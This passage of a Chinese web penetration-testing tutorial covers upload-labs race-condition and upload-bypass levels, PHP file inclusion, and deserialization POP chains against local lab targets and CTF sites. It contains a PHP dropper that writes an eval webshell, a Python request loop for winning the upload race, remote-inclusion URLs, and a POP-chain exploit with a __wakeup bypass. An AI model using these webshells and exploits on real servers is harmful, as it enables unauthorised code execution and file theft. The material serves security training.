  • 第一步,通過(guò) bp 不斷的發(fā)送請(qǐng)求,傳送文件。
  • 第二步,通過(guò)程序不斷的請(qǐng)求訪問(wèn)。

新建一個(gè)?test_competiton.php 文件,文件內(nèi)容如下:

<?php fputs(fopen('test_muma.php', 'w'), '<?php @eval($_POST["payload"])?>');?>

使用 bp 攔截請(qǐng)求,并進(jìn)行多線程請(qǐng)求

把自動(dòng)添加的 payload 刪除

設(shè)置 payload 為 null

設(shè)置線程池

現(xiàn)在開始 第二步,現(xiàn)在開始通過(guò)程序不斷的請(qǐng)求

Python 代碼:

import time import requestsdef main():while True:url = 'http://127.0.0.1/upload_labs/upload/test_competiton.php'resp = requests.post(url, data=None)if 200 == resp.status_code:print(f'resp.text ---> {resp.text}')else:print(f'resp.status_code ---> {resp.status_code}')time.sleep(0.1)passif __name__ == '__main__':main()pass

現(xiàn)在使用 蟻劍 進(jìn)行連接,發(fā)現(xiàn)連接并執(zhí)行成功

Pass-19?(?圖片馬 條件競(jìng)爭(zhēng)? )

思路:

  • 方法 1:利用來(lái)不重命名的條件競(jìng)爭(zhēng)
  • 方法 2.:利用 apache 解析漏洞

Pass-20?(?move_uploaded_file 函數(shù)特性 ?)

move_uploaded_file 函數(shù)在解析的時(shí)候,會(huì)忽略掉 /.

在上傳框中加上? /.?

點(diǎn)擊上傳后,就會(huì)生成 test_muma.php 文件

使用蟻劍進(jìn)行連接,可以連接成功

Pass-21?(??)

查看提示,需要查看源碼:

分析流程:https://www.bilibili.com/video/BV1jL4y1j7i6?p=26

通過(guò)查看源碼,發(fā)現(xiàn)校驗(yàn)了 MIME、文件擴(kuò)展名,這兩個(gè)需要使用 bp 攔截并修改請(qǐng)求。

其實(shí)只要數(shù)組小標(biāo) 大于 1 即可。

5、文件包含

文件包含漏洞

文件包含漏洞:https://blog.csdn.net/huangyongkang666/article/details/123628579

文件包含:開發(fā)人員通常會(huì)把可重復(fù)使用的函數(shù)寫到單個(gè)文件中,在使用某些函數(shù)時(shí),直接調(diào)用此文件,無(wú)需再次編寫,這種調(diào)用文件的過(guò)程一般被稱為文件包含。

<!DOCTYPE html> <html> <head><meta charset="utf-8"> </head> <body> <h1>第 999 次訪問(wèn)</h1> <p></p> <p>歡迎下次再來(lái)</p> <?php include "footer.php"?> <?php$file = $_GET['file'];if(isset($file)){include("$file");}else{echo "file fail";} ?> </body> </html>

文件包含漏洞原理:文件包含是指當(dāng)服務(wù)器開啟 allow_url_include 選項(xiàng)時(shí),就可以通過(guò) PHP 的某些特性函數(shù) include(),require() 和 include_once(),requir_once() ,然后利用 URL 去動(dòng)態(tài)包含文件,此時(shí)如果沒(méi)有對(duì)文件來(lái)源進(jìn)行嚴(yán)格審查,就會(huì)導(dǎo)致任意文件讀取或者任意命令執(zhí)行。文件包含漏洞分為本地文件包含漏洞與遠(yuǎn)程文件包含漏洞,遠(yuǎn)程文件包含漏洞是因?yàn)殚_啟了PHP配置中的allow_url_fopen 選項(xiàng),選項(xiàng)開啟之后,服務(wù)器允許包含一個(gè)遠(yuǎn)程文件,服務(wù)器通過(guò) PHP 特性(函數(shù))去包含任意文件時(shí),由于要包含的這個(gè)文件來(lái)源過(guò)濾不嚴(yán),從而可以去包含一個(gè)惡意文件,而我們可以構(gòu)造這個(gè)惡意文件來(lái)達(dá)到自己的目的。

  • 1、文件包含即程序通過(guò)包含函數(shù)調(diào)用本地或遠(yuǎn)程文件,以此來(lái)實(shí)現(xiàn)拓展功能
  • 2、被包含的文件可以是各種文件格式,而當(dāng)文件里面包含惡意代碼,則會(huì)形成遠(yuǎn)程命令執(zhí)行或文件上傳漏洞。
  • 3、文件包含漏洞主要發(fā)生在有包含語(yǔ)句的環(huán)境中,例如 PHP 所具備include、require等函數(shù)。

php 需要更改 php.ini,才能開啟 文件包含

// php.ini allow_url_fopen=On allow_url_include=On

示例:遠(yuǎn)程包含

遠(yuǎn)程訪問(wèn)示例,這里需要再開一臺(tái) web 服務(wù)器,

http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/1.txt
http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/alter.html

示例:本地包含

本地訪問(wèn)

示例:DVWA 靶場(chǎng)

php 偽函數(shù)、相關(guān)協(xié)議

include() include語(yǔ)句,包含并運(yùn)行指定的文件 include_once() 只包含一次,不重復(fù)包含 require() 和 include 一樣,不過(guò)出錯(cuò)時(shí)會(huì)停止 require_once() 和 include_once 一樣 fopen() 打開文件或者 URL readfile() 讀取文件并寫入到緩沖區(qū) highlight_file 語(yǔ)法高亮一個(gè)文件 show_source 等價(jià)于 highlight_file file_get_contents 將整個(gè)文件讀入字符串中 file 將整個(gè)文件讀入一個(gè)數(shù)組中

PHP 偽協(xié)議:https://www.cnblogs.com/shawCE/p/15507496.html

支持的協(xié)議和封裝協(xié)議:https://www.php.net/manual/zh/wrappers.php

  • file://?— 訪問(wèn)本地文件系統(tǒng)
  • http://?— 訪問(wèn) HTTP(s) 網(wǎng)址
  • ftp://?— 訪問(wèn) FTP(s) URLs
  • php://?— 訪問(wèn)各個(gè)輸入/輸出流(I/O streams)
  • zlib://?— 壓縮流
  • data://?— 數(shù)據(jù)(RFC 2397)
  • glob://?— 查找匹配的文件路徑模式
  • phar://?— PHP 歸檔
  • ssh2://?— 安全外殼協(xié)議 2
  • rar://?— RAR
  • ogg://?— 音頻流
  • expect://?— 處理交互式的流

示例:parse_str(file_get_contents('php://input'), $_PUT);

CTFhub 示例

??CTFhub:https://www.ctfhub.com/#/index
結(jié)題思路

  • :https://www.bilibili.com/video/BV1jL4y1j7i6?p=32
  • :https://www.bilibili.com/video/BV1Mr4y1i7s4?p=31

"文件包含漏洞" 挖掘、利用

挖掘:

URL 參數(shù)名字出現(xiàn) page、file、filename、include等等關(guān)鍵字
URL 參數(shù)值出現(xiàn)了文件名,比如:xxx.php xxx.html 等等
比如:
? ? ?file=content
?? ??page=wuya.asp
?? ??home=wuya.html

利用

1、發(fā)現(xiàn)漏洞

? ? ? ??可以使用自動(dòng)化工具來(lái),?github 直接搜索 LFI (即 local file include)
? ? ? ? LFISuit:https://github.com/D35m0nd142/LFISuite

2、上傳 shell、讀取敏感文件( FUZZ )

? ? ? ? GitHub地址:https://github.com/xmendez/wfuzz/
? ? ? ? 官方文檔 ( 使用手冊(cè)?):https://wfuzz.readthedocs.io/en/latest/index.html

? ? ? ? wfuzz 暴破文件和路徑:https://www.sohu.com/a/224509842_354899

? ? ? ??WFUZZ 使用教程:https://blog.csdn.net/JBlock/article/details/88619117

? ? ? ? Wfuzz 使用:https://blog.csdn.net/weixin_45059752/article/details/122359921

3、執(zhí)行惡意代碼

使用 蟻劍 連接

6、 PHP?序列化、反序列化 漏洞

PHP 在線運(yùn)行工具:https://c.runoob.com/compile/1/

PHP 面向?qū)ο?/h2>

PHP 面向?qū)ο?#xff1a;https://www.w3cschool.cn/php/php-oop.html

類與對(duì)象:https://www.php.net/manual/zh/language.oop5.php

  • ?? 定義了一件事物的抽象特點(diǎn)。類的定義包含了數(shù)據(jù)的形式以及對(duì)數(shù)據(jù)的操作。

  • 對(duì)象?? 是類的實(shí)例。

  • 成員變量?? 定義在類內(nèi)部的變量。該變量的值對(duì)外是不可見的,但是可以通過(guò)成員函數(shù)訪問(wèn),在類被實(shí)例化為對(duì)象后,該變量即可稱為對(duì)象的屬性。

  • 成員函數(shù)?? 定義在類的內(nèi)部,可用于訪問(wèn)對(duì)象的數(shù)據(jù)。

  • 繼承?? 繼承性是子類自動(dòng)共享父類數(shù)據(jù)結(jié)構(gòu)和方法的機(jī)制,這是類之間的一種關(guān)系。在定義和實(shí)現(xiàn)一個(gè)類的時(shí)候,可以在一個(gè)已經(jīng)存在的類的基礎(chǔ)之上來(lái)進(jìn)行,把這個(gè)已經(jīng)存在的類所定義的內(nèi)容作為自己的內(nèi)容,并加入若干新的內(nèi)容。

  • 父類?? 一個(gè)類被其他類繼承,可將該類稱為父類,或基類,或超類。

  • 子類?? 一個(gè)類繼承其他類稱為子類,也可稱為派生類。

  • 多態(tài)?? 多態(tài)性是指相同的操作或函數(shù)、過(guò)程可作用于多種類型的對(duì)象上并獲得不同的結(jié)果。不同的對(duì)象,收到同一消息可以產(chǎn)生不同的結(jié)果,這種現(xiàn)象稱為多態(tài)性。

  • 重載?? 簡(jiǎn)單說(shuō),就是函數(shù)或者方法有同樣的名稱,但是參數(shù)列表不相同的情形,這樣的同名不同參數(shù)的函數(shù)或者方法之間,互相稱之為重載函數(shù)或者方法。

  • 抽象性?? 抽象性是指將具有一致的數(shù)據(jù)結(jié)構(gòu)(屬性)和行為(操作)的對(duì)象抽象成類。一個(gè)類就是這樣一種抽象,它反映了與應(yīng)用有關(guān)的重要性質(zhì),而忽略其他一些無(wú)關(guān)內(nèi)容。任何類的劃分都是主觀的,但必須與具體的應(yīng)用有關(guān)。

  • 封裝?? 封裝是指將現(xiàn)實(shí)世界中存在的某個(gè)客體的屬性與行為綁定在一起,并放置在一個(gè)邏輯單元內(nèi)。

  • 構(gòu)造函數(shù)?? 主要用來(lái)在創(chuàng)建對(duì)象時(shí)初始化對(duì)象, 即為對(duì)象成員變量賦初始值,總與new運(yùn)算符一起使用在創(chuàng)建對(duì)象的語(yǔ)句中。

  • 析構(gòu)函數(shù)?? 析構(gòu)函數(shù)(destructor) 與構(gòu)造函數(shù)相反,當(dāng)對(duì)象結(jié)束其生命周期時(shí)(例如對(duì)象所在的函數(shù)已調(diào)用完畢),系統(tǒng)自動(dòng)執(zhí)行析構(gòu)函數(shù)。析構(gòu)函數(shù)往往用來(lái)做"清理善后" 的工作(例如在建立對(duì)象時(shí)用new開辟了一片內(nèi)存空間,應(yīng)在退出前在析構(gòu)函數(shù)中用delete釋放)。

魔術(shù)函數(shù)

__construct 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用, __destruct 當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用, __toString 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。 __wakeup() 使用unserialize時(shí)觸發(fā) __sleep() 使用serialize時(shí)觸發(fā) __destruct() 對(duì)象被銷毀時(shí)觸發(fā) __call() 在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __callStatic() 在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā) __get() 用于從不可訪問(wèn)的屬性讀取數(shù)據(jù) __set() 用于將數(shù)據(jù)寫入不可訪問(wèn)的屬性 __isset() 在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā) __unset() 在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā) __toString() 把類當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串 __invoke() 當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

序列化、反序列化

序列化 (Serialization):是將 "內(nèi)存中的對(duì)象"?轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^(guò)程。在序列化期間,對(duì)象將其當(dāng)前狀態(tài)寫入到臨時(shí)或持久性存儲(chǔ)區(qū)。以后就可以通過(guò)從存儲(chǔ)區(qū)中讀取,或者反序列化對(duì)象的狀態(tài),重新創(chuàng)建該對(duì)象。實(shí)際上就是將數(shù)據(jù)持久化,而且序列化后也能更好的便于網(wǎng)絡(luò)運(yùn)輸何傳播。

  • 序列化:將 對(duì)象 轉(zhuǎn)換為 字節(jié)序列
  • 反序列化:把 字節(jié)序列 恢復(fù)為 原先的對(duì)象

序列化主要有兩個(gè)用途

  • 把對(duì)象的字節(jié)序列永久保存到硬盤上,通常存放在一個(gè)文件中(序列化對(duì)象)
  • 在網(wǎng)絡(luò)上傳送對(duì)象的字節(jié)序列(網(wǎng)絡(luò)傳輸對(duì)象)

比如:想把一張桌子從 a -->?b,一張桌子肯定不好運(yùn)輸,因此需要把它拆開(這個(gè)拆的過(guò)程就是序列化);等到達(dá)了b需要把他組裝起來(lái) (?裝的過(guò)程就是 反序列化? )。

PHP?序列化 函數(shù):?serialize()

把復(fù)雜的數(shù)據(jù)類型壓縮到一個(gè)字符串中 數(shù)據(jù)類型可以是數(shù)組,字符串,對(duì)象等
序列化一個(gè)對(duì)象將會(huì)保存對(duì)象的所有變量,但是不會(huì)保存對(duì)象的方法,只會(huì)保存類的名字。

PHP 反序列化 函數(shù):unserialize()

恢復(fù)原先被序列化的變量

示例 1:https://blog.csdn.net/m0_46587008/article/details/109373942

<?php class people{public $name = 'sam';private $sex = 'man';protected $age = '20'; } $people_1 = new people(); $obj = serialize($people_1); print $obj;$a=unserialize($obj); var_dump($a); ?>

定義一個(gè) people 類,含有公共屬性name,私有屬性sex,保護(hù)屬性age。隨后實(shí)例化一個(gè)people_1 并對(duì)其進(jìn)行序列化,最后輸出結(jié)果為:

O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
object(people)#2 (3) { ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }

注意:

  • 對(duì)于 public 的屬性無(wú)需其他特殊操作,
  • 對(duì)于 private 屬性,描述的時(shí)候需要在前后添加空格,或者帶上其所在的類名,
  • 對(duì)于 protected 屬性需要加" * "。

__wakeup()?當(dāng)unserialize()函數(shù)反序列化時(shí),在數(shù)據(jù)流還未被反序列化未對(duì)象之前會(huì)調(diào)用該函數(shù)進(jìn)行初始化.

__destruct()?當(dāng)對(duì)象銷毀時(shí)觸發(fā),也就是說(shuō)只要你反序列化或者實(shí)例化一個(gè)對(duì)象,當(dāng)你調(diào)用結(jié)束后都會(huì)觸發(fā)該函數(shù)。?

<?php class star{public $a;function __wakeup(){echo "hi";}function __destruct(){echo "結(jié)束了";} } $s='O:4:"star":1:{s:1:"a";N;}'; unserialize($s);

結(jié)果:hi結(jié)束了。可以看到,先輸出了hi,說(shuō)明__wakeup()函數(shù)先被調(diào)用,隨后整個(gè)反序列化結(jié)束,對(duì)象被銷毀,觸發(fā)__destruct()函數(shù),輸出結(jié)束了。

__toString()?當(dāng)一個(gè)對(duì)象被當(dāng)作字符串使用時(shí)觸發(fā)

<?php class star{public $a;function __wakeup(){echo $this->a;} } class next{function __toString(){echo "我在這";} } $t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}'; unserialize($t);

結(jié)果:我在這 Catchable fatal error: Method next::__toString() must return a string value in /tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5? 這里沒(méi)有retrun,也沒(méi)有忽略報(bào)錯(cuò),所有有一條報(bào)錯(cuò)信息,無(wú)關(guān)緊要,但是要說(shuō)的是,__toString()是要又return的,不然會(huì)報(bào)錯(cuò)。結(jié)果顯示當(dāng)類star中的。echo $this->a;

執(zhí)行時(shí),a被當(dāng)作一個(gè)字符串,此時(shí)我將a設(shè)置為類next,此時(shí)類next作為字符串被調(diào)用,所以觸發(fā)類next中的__toString()函數(shù),輸出“我在這”。

__invoke()?當(dāng)類被當(dāng)作函數(shù)調(diào)用時(shí)觸發(fā),看實(shí)例。

<?php class star{public $a;function __wakeup(){$function=$this->a;return $function();} } class next{function __invoke(){echo "我在這";} } $t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}'; unserialize($t);

結(jié)果:我在這
分析過(guò)程和上面那個(gè)函數(shù)一樣,也是通過(guò)反序列化給a賦值,只是賦的不是字符串而是其他類,然后。return $function();??的時(shí)候,將類當(dāng)作函數(shù)調(diào)用,觸發(fā)了__invoke()函數(shù)輸出了“我在這”。

__get()?這個(gè)函數(shù)是當(dāng)訪問(wèn)不可訪問(wèn)的屬性的時(shí)候觸發(fā),不可訪問(wèn)的屬性有兩種

  • 私有屬性或者保護(hù)屬性,這種訪問(wèn)受限的屬性的時(shí)候會(huì)觸發(fā)__get()
  • 屬性不存在的時(shí)候,也會(huì)觸發(fā)__get()
<?php class star{public $a;function __wakeup(){return $this->str['str']->source;} } class next{function __get($name){echo "我在這";return;} } $t='O:4:"star":2:{s:1:"a";N;s:3:"str";a:1:{s:3:"str";O:4:"next":0:{}}}'; unserialize($t);

結(jié)果:我在這
通過(guò)str[‘str’]賦值為類next,訪問(wèn)next的source,但是類next中不存在屬性source所以觸發(fā)__get()函數(shù),訪問(wèn)保護(hù)屬性等同理。
小結(jié):反序列化的過(guò)程通過(guò)這些魔法函數(shù)可以達(dá)到我們想到要的操作,尤其是后面3個(gè)函數(shù),大家會(huì)發(fā)現(xiàn),這三個(gè)函數(shù)可以達(dá)到多個(gè)類的連續(xù)使用,從而達(dá)到鏈的效果,這也就是反序列化中的pop鏈的編寫,

示例 2:POP鏈的構(gòu)造

<?php //flag is in flag.php error_reporting(1); class Read {public $var;public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}public function __invoke(){$content = $this->file_get($this->var);echo $content;} }class Show {public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo $this->source.'Welcome'."<br>";}public function __toString(){return $this->str['str']->source;}public function _show(){if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {die('hacker');} else {highlight_file($this->source); }}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}} }class Test {public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['hello'])) {unserialize($_GET['hello']); } else {$show = new Show('pop3.php');$show->_show(); }

1. 首先看到unserialize($_GET[‘hello’]) 將get傳參的hello進(jìn)行了反序列化操作。那么將會(huì)調(diào)用到Show類中__weakup方法。
2. 因?yàn)?this->source = “index.php” source被當(dāng)做字符串所以調(diào)用Show類中的__to string.
3. ** return $this->str[‘str’]->source ** source屬性不存在所以調(diào)用Test類中的 get方法。
4. ** $function = $this->p;
return $function(); **
把取出來(lái)的p當(dāng)做還是調(diào)用因此又會(huì)引起調(diào)用了 Read類中的__invoke方法,其中就可以把文件讀取出來(lái)了。

上exp

<?php class Show{public $source;public $str; } class Test {public $p; } class Read{publc $var = "flag.php" }$s = new Show(); $t = new Test(); $r = new Read(); $t -> p = $r; $s ->str["str"] = $t; $s -> source = $s; var_dump(serialize($s));

反序列化 漏洞 原理

?:https://www.bilibili.com/video/BV1jL4y1j7i6?p=38

注意:如果放在 瀏覽器 url 中,需要 url 編碼

1. 構(gòu)造反序列化鏈
2. 魔法函數(shù)
3. pop 鏈
4. __wakeup()繞過(guò)

1、unserialize 函數(shù)的參數(shù)可控,比如通過(guò) GET 請(qǐng)求傳參(漏洞觸發(fā)點(diǎn))
2、腳本中定義有 Magic 方法,方法里面有向php文件做讀寫數(shù)據(jù)或者執(zhí)行命令的操作,比如:__destruct()、unlink()
3、讀寫的內(nèi)容需要有對(duì)象中的成員變量的值,比如 filename

__wakeup( )繞過(guò)

(CVE-2016-7124)
反序列化時(shí),如果表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過(guò)__wakeup( )的執(zhí)行。
影響版本:
PHP before 5.6.25
7.x before 7.0.10

<?php class star{public $a;function __wakeup(){echo $this->a;} } $t='O:4:"star":1:{s:1:"a";s:9:"我在這";}'; unserialize($t); ?>

結(jié)果:我在這

當(dāng)換成??O:4:"star":2:{s:1:"a";s:9:"我在這";}??時(shí),結(jié)果什么都沒(méi)輸出。

原因:當(dāng)表示屬性個(gè)數(shù)大于真實(shí)個(gè)數(shù)時(shí),__wakeup()函數(shù)不執(zhí)行,被繞過(guò)了,通常題目中,__wake() 中含有很多限制,通過(guò)這個(gè)漏洞繞過(guò) __wake() 可以達(dá)到繞過(guò)限制的目的。

攻防世界 CTF 示例

官網(wǎng):https://adworld.xctf.org.cn/

示例 payload

注意:如果放在 瀏覽器 url 中,需要 url 編碼

總結(jié)

以上是生活随笔為你收集整理的渗透测试 2 --- XSS、CSRF、文件上传、文件包含、反序列化漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。